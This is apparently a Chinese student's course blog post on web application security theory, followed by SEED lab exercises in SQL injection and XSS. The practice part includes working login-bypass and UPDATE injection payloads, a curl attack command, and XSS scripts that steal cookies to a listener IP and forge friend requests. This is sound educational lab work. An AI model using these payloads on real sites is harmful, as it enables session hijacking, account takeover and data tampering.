20199103 2019-2020-2 《网络攻防实践》第11周作业

20199103 2019-2020-2 《网络攻防实践》第11周作业

1.实践内容

web应用程序的体结构与安全威胁

web应用体系

  • web应用程序是一种用浏览器支持的余元所编写或者能够在浏览器控制的环境中运行的软件形态

  • web应用的体系结构是由。浏览器来完成数据的显示,服务器负责计算处理,服务器由服务器软件、应用程序、数据库组成。然后两者通过网络与http/https协议进行通信。

  • 浏览器:web客户端就是浏览器,使用http/https协议、html语言和服务器通信。如熟知的IE、firefox等。

  • 服务器:简单来说,服务器的功能就是从浏览器接受请求,然后进行一些简单的分析之后,就将这个请求返回给web应用程序。当应用程序工作完之后会将结果返回服务器,然后服务器再将结果返回浏览器。

  • web应用程序:早期的web应用程序只有一层,随着发展出现了分层的概念,结构更加复杂,并与用户实时交互。最普遍的是三层结构:表示层、逻业务逻辑层、数据层。表示层用来接收客户端的输入结果,业务逻辑层从表示层接受输入并在其上完成工作,期间需要数据层写作,然后将结果返回便是曾。

  • 传输协议:在浏览器、服务器、应用程序、数据库之间的传输的协议是http/https。http默认使用tcp80端口,是一个无状态的协议。为了提升安全,为http加入了多项机制,包括使用ssl/tls隧道来进行加密的https协议;采用cookie机制进行会话管理,嵌入多种认证协议。

web应用安全威胁

  • 针对浏览器和终端用户的web安全威胁:这类威胁包括以浏览器渗透攻击为核心的网页木马、phishing网站钓鱼等。

  • 针对传输网络的网络协议安全威胁:如http明文传输的窃听,假冒身份攻击、拒绝服务攻击等。

  • 系统层安全威胁:宿主的操做系统有着远程渗透攻击和本地渗透攻击的威胁。

  • web服务器软件安全威胁:web服务器也存在着安全漏洞,攻击者可以利用这点对服务器进行攻击。

  • web应用程序安全威胁:程序员在实现web应用程序的时候,会因为各种原因导致出现安全漏洞,被攻击者利用,包括SQL注入攻击、XSS跨站脚本攻击。

  • web数据安全威胁:web应用程序储存的数据、浏览器输入的数据都存在着被窃取、篡改的威胁。

web应用安全攻防概述

web应用的信息收集

  • 在攻击之前,自然要进行信息的收集。需要手机的信息包括:服务器域名、ip地址和虚拟地址,服务器开放的端口和服务,web站点类型和版本,web应用程序类型和版本,web应用程序和wen服务器的安全漏洞。
web应用程序的探测和漏洞发现。
  • 手工审查web应用程序结构和源代码:收集信息的第一步往往是自己浏览web应用的各个页面,然后查看关键页面的源代码。

    • 静态和动态生成的页面:一般情况下静态页面不会遭受注入攻击,但是其中很可能有一些有价值的信息。比如表单隐藏字段和注释,都可能会包含着注入用户口令的一些敏感信息。这些信息对加下来的攻击大有用处。动态页面的价值则更大,供给者们会探查所使用的脚本编程语言、页面命名规则、参数名称、类型与含义等。

    • 目录结构:web服务器上的储存也是备受关注的信息。攻击者肯定不仅仅会通过导航链接进行访问,他们还会对管理员目录、备份目录、数据目录等进行查看,来确定这些目录是否存在,并且是否存在可以利用的不安全的配置,这些不安全的配置是否可以用来搜索可利用的文件。whisker工具可以用来探测特定目录是否在目标服务器存在,并且会尝试返回目录的文件列表,或者返回失败(禁止目录文件枚举)。

    • 辅助性文件:web应用程序有着一系列辅助性文件,如css级联样式表、xml样式表等,手动查看这些文件可能会得到有用的信息。

    • 输入表单:表单时web应用程序用来接受用户输入的主要途径,手动检查源代码可以发现一些关键表单,进而获取一些关键数据,然后这些数据可以帮助攻击者尝试绕过表单的正常处理。

    • 查询参数字符串:web应用程序很容易收集到一些动态页面文件的查询参数字符串,这些字符串可以被利用。

  • 自动下载与镜像web站点页面:手工分析源代码的效率自然是很低的。一些自动下载与镜像web站点页面可以提升效率。linux上可以使用lynx、wget等工具,windows上可以使用TelePort Pro、Offline Explorer等软件。

  • 使用google hacking技术审查与胎侧web应用程序:google的网页爬虫几乎爬遍了所有的公开web站点。大范围搜索有漏洞的web应用程序、符合条件的敏感信息的时候,google hacking是一种最为有效的方法。

  • web应用程序安全评估与漏洞审查:在获得了web站点应用程序的一些关键信息后,渗透测试人员还会对各个功能做一些研究和评估,目的时找出可能存在的薄弱环节,然后总结出攻击步骤。对wen应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入合法性检查。纯手工的评测自然也是效率很低。辅助工具主要有:浏览器插件;免费工具集,如Fiddler,WebScarab等;商业web应用安全评估系统和扫描器。

攻击web服务器软件

  • 数据驱动的远程代码执行安全漏洞:web服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击。这类漏洞可以让攻击者直接获得远程在web服务器上执行代码的权利。

  • 服务器功能扩展模块漏洞:web服务器通过一些功能扩展模块来为核心http引擎来扩宽功能范围。但是这些模块的编写质量要差很多,所以存在的安全漏洞一般也会多很多。

  • 样本文件安全漏洞:web服务器软件厂商经常为了展示自己而在软件包中加入一些样本文件和代码示例。这些样本一般编写的仓促,所以更可能存在漏洞。

  • 源代码泄露:这个漏洞可以让攻击者查看到web服务器上的没有防护的应用程序的源代码。

  • 资源解析攻击:资源解析是指将同一资源的不同表示方式解析统一。一些web服务器软件可能在解析过程中泄露一些输入合法性和合理性的验证的信息,从而导致一系列攻击。

攻击web应用程序

  • 目前web应用程序时最薄弱的环节。web的安全威胁可以分为:

    • 认证机制的攻击:针对来确认用户身份的机制的攻击,包括利用认证机制不完善的弱点、攻击口令恢复验证机制。

    • 授权机制攻击:针对确认用户是否有执行某个动作的权限的攻击。

    • 客户端攻击:扰乱或者渗透攻击web站点客户端的攻击。

    • 命令执行攻击:在web站点上执行远程命令的攻击手段,包括之前的缓冲区溢出。

    • 信息暴漏:目的是获取web站点的信息的攻击手段。

    • 逻辑攻击:扰乱或者渗透攻击web应用逻辑流程的攻击手段。

攻击web数据内容

  • 安全敏感数据泄露:由于不安全的配置或者使用者的疏忽,一些站点可能会泄露敏感信息。具体的途径有

    • web服务器存在目录遍历或者不安全的目录文件枚举配置。

    • 利用web服务器上传文件的时候泄露。

    • 缺乏安全意识,将敏感信息放在站点公开。

  • 网站篡改:一般是骇客们攻入网站后对内容进行替换。

web应用安全防范措施

  • web站点网络传输安全设防措施

    • 尽量使用https来保护传输的内容。

    • 通过加密的链接通道来管理web站点。

    • 对关键的web服务器设置静态的MAC-ip映射。

  • 对web站点操做系统和该服务安全的设防措施

    • 对操作系统和服务器软件即使进行补丁更新。

    • 对web站点服务器的操作系统以及开放的服务进行安全扫描。

    • 关闭不使用的服务,避免明文传输等。

  • web应用程序安全设防措施

    • 采用动态呢欧容、支持用户输入的web应用程序。

    • 必须要与用户进行交互的话,尽可能采用声誉良好的web软件包。

    • 尽量不要自主或者外包web应用程序,开发和部署过程中重视安全。

    • 使用web服务器软件的日志。

  • web站点数据安全防护措施

    • 提高维护人员的安全意识。

    • 日常检测和防护。

SQL注入

SQL注入攻击原理

  • SQL技术是利用web应用程序数据层存在的输入验证不完善的漏洞而进行攻击的一种代码注入。原理是通过向web应用程序提供的用户输入接口输入自己精心构造的SQL查询指令,这段指令利用了不健全的输入验证来注入代码,执行攻击操作。

  • 教材上给出了一些例子。其中有select * from FROM accounts WHERE username = 'xxx' AND passwd = 'xxx';虽然我并不是很会SQL语句(忘得差不多了),但是可以看出来,这里的xxx是由用户输入的用户名和密码。如果攻击者在用户名和密码中输入xxx' OR '1'=1这样整个就会变成select * from FROM accounts WHERE username = 'xxx' OR '1'='1' AND passwd = 'xxx' OR '1' = '1';这样就一定会通过验证。

SQL注入攻击步骤和过程

  • 发现SQL注入点:一个动态网页中可能有多个参数,参数的格式也各不相同。只要某个参数用于查询数据库,那么就有可能存在SQL注入点。如果编写的人没有进行参数的严格的审查的话,那么可能性就更大。

  • 判断后台数据库类型:不同的数据库在语言能力、扩展功能等有着很多的不同,可以通过对数据库服务器的系统变量、系统表进行查询来判断。

    • 利用系统变量进行判断:不同的数据库有着不同的系统变量,如MS SQL Server有user,MySQL有basedir。

    • 利用数据库服务器的系统表进行判断:ACCESS的系统表是msyobjects,并且无法再web环境下访问。MS SQL Server放的系统表是sysobjects,可以在web环境下访问。

  • 后台数据库中管理员口令字猜解:一般web应用程序都有着管理员用户账号,这些账号有着一些特殊的权限。如果通过sql注入攻击能够知道管理员账号和密码,那么就能利用管理员账号登录。

    • 猜测表名:根据个人经验来猜,一般可能是user,users等。

    • 猜测字段名:如果可以确定表名,之后也能用类似的方法猜测字段名。

    • 用户名和口令猜解:得到表明和字段名之后,就可以猜测用户名和口令。

    • 上传asp后门:得到用户名、口令之后,就要上传后门,让攻击者可以通过浏览器访问。

    • 本地权限提升通过浏览器访问的权限为默认权限,一般都受限。想要进一步获得权限就要进行本地权限提升攻击。

    • 利用数据库拓展功能执行shell命令。

SQL注入攻击工具

  • Wpsion可以自动化寻找注入漏洞;SPIKE Proxy工具能对字符串进行定制等。

防范措施

  • 使用type-safe的参数编码

  • 对外来用户进行全面检查

  • 将动态SQL语句替换为储存过程、预编译SQL或AOD命令对象

XSS跨站脚本攻击

技术原理

  • XSS攻击的原因也是对用户输入的验证机制不够完善。在许多的web论坛、博客中web程序允许用户交互,用户提交的内容中就可能包含脚本代码。不过XSS攻击的目标不是服务器,而是用户。攻击者利用漏洞在web应用程序中插入而已脚本代码,产生一些而已页面。在其他的用户访问该页面的时候,就会下载并执行该页面上的恶意脚本。

XSS攻击类型

  • 持久性XSS漏洞:一些用户的输入可以较长时间内都保存在web服务器端中,一直影响访问该页面的用户。

  • 反射XSS漏洞:这种较为普遍,用户在web浏览器的输入的参数或者提交的表单中的数据,然后服务器端的恶意脚本会立即返回一个页面。一般包括如下步骤

    • 攻击者狗仔一个包含恶意脚本的bank.com的登录链接,并发送给给用户

    • 用户点击链接后,把连接中的恶意脚本当作用户名参数提交给bank.com

    • 由于该网页存在xss漏洞,反馈的页面中会包含恶意脚本代码。

    • 恶意脚本代码在浏览器中执行,一般会向攻击者发送一些会话令牌。

    • 获得用户令牌后就可以劫持会话,或者假冒用户。

防范措施

  • 服务器端

    • 输入验证:对用户输入的书库进行严格的过滤。

    • 输出净化:如果web应用程序将用户提交的数据复制到相应页面中,那么在复制之前要进行HTML编码尽可能地精华而已字符。

    • 消除危险输入点:如在现有的javascript中尽量避免插入用户能够控制的数据。

2.实践过程

  • 这里我用的是建国同学提供的文档。一如既往的由于基础薄弱,全程我基本上是看着启龙同学的博客和文档做下来的。好在理解起来不算难。

实践1SQL注入

熟悉sql语句

  • 按照文档的指引,第一步是登录mysql

  • 登录之后选择库,并且查询所有的表。

  • 然后任务是搜索和alice有关的信息。

注入select语句

  • 在文档里给出了用与查询的代码
$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$hashed_pwd = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,nickname,Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);
// The following is Pseudo Code
if(id != NULL) {
  if(name==’admin’) {
  return All employees information;
  } 
  else if (name !=NULL){
  return employee information;
  }
} 
else {
Authentication Fails;
}
  • 在上面的代码中的查询语句是SELECT id, name, eid, salary, birth, ssn, address, email,nickname,Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’

  • 将其中的用户名改为Admin'#,密码改为任意值,这个查询语句就会变为
    SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #''and Password='$hashed_pwd'

  • 可以发现,在#之后的全都被注释掉了,不需要验证密码就可以通过验证。

  • 去网页端如此输入用户名,就可以登录。

  • 下一个任务是在命令行做到这一点。可以使用curl,将参数放在里面进行攻击这里需要注意转义字符 curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin'%23&Password=shenmdouxing

  • 然后可以看到注入结果

  • 在下一个任务是修改信息。这里文档里有提示,;是用来分割语句的。但是我使用update一次次失败之后,参考建国的博客发现是不可以多个语句执行的,

update注入

  • 修改alice的工资,这里文档给了代码
$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
nickname=’$input_nickname’,
email=’$input_email’,
address=’$input_address’,
Password=’$hashed_pwd’,
PhoneNumber=’$input_phonenumber’
WHERE ID=$id;";
$conn->query($sql);
  • 这里只需要在任意一个输入之中用上;然后跟上修改薪水的语句就可以了。

  • 然后是修改别的人工资。这个骑士只要修改一下语句中的名字就可以。不论在谁的文件修改都能起到相同的效果。

  • 修改别人的密码,和上面大同小异。只需要把薪水改成密码就行了。

  • 然后去命令行中查一下boby的密码

  • 发现确实被改成了188.

XSS攻击

  • 这一个实验有着较多的代码分析。虽然上个实验也有,但是sql语句我还稍微知道一点。但是这一块的代码我就真的是摸石头过河了。

显示警告窗口

  • 档案中给了代码
<script type="text/javascript"
src="http://www.example.com/myscripts.js">
</script>
  • javascript我是一点也不懂,所以我就直接拿来用了。在档案中给的用户之中随便挑一个登录,然后在自我简介中把这段代码复制进去。在别人(自己也行)访问该用户的主页的时候就会弹出窗口。

显示出cookie

  • 与上一题几乎一样的操作。差别就在于脚本。这一段文档中也给了脚本。<script>alert(document.cookie);</script>.

  • 依然是随便一个用户,然后在自我简介中输入脚本。在登陆个人主页的时候就会产生显示cookie的窗口。

获取受害者的cookie

  • 上面的获取cookie只是弹到了窗口里,这次要发送给自己。文档中给了参考用的代码。
<script>document.write(’<img src=http://10.1.2.5:5555?c=’
+ escape(document.cookie) + ’ >’);
</script>
  • 虽然我看不懂但是也可以得到一些信息。不管怎么说,ip和端口号总是可以看懂的,所以也很容易想到就是要将cookie发到某个ip的某个端口。所以我将这个ip改为我自己的ip,然后挑了个空闲的端口。

  • 之后再用nc来监视我选择的端口。再访问主页之后,可以看到我的端口收到了cookie。

添加受害者好友

  • 这里档案的参考代码缺少了一块信息。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token; ➁
//Construct the HTTP request to add Samy as a friend.
var sendurl=...; //FILL IN
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
  • 所以,需要知道请求好友的指令。首先要正常情况下添加一次好友,用HTTP header live来查看数据。但是我仍然没有看懂。所以还是拿骑龙的博客当答案来倒着看来尝试看懂,最后得知缺省的部分应该是:"http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

  • 然后将这一段复制到boby的自我简介里,再通过alice来访问boby主页,就会添加好友。


  • 这里我失败了很多次,最后才知道原来是可视模式会自动转义。

修改别人的信息

  • 和上面的实验也是大同小异,脚本的框架在pdf中也给了,缺省的值也和上一题获取的方法一样。然后也是照旧将代码复制到自我介绍里,同时注意模式。

  • 然后某人访问主页之后,自我介绍就会被修改。

3.学习中遇到的问题及解决

  • 问题1:不会JavaScript和sql
  • 问题1解决方案:sql稍微复习一下还可以想起来一些,JavaScript就只能猜了

4.实践总结

又是一个因为缺少基础知识而头疼的实验。

posted @ 2020-05-11 22:42  20199103陈昱帆  阅读(319)  评论(0编辑  收藏  举报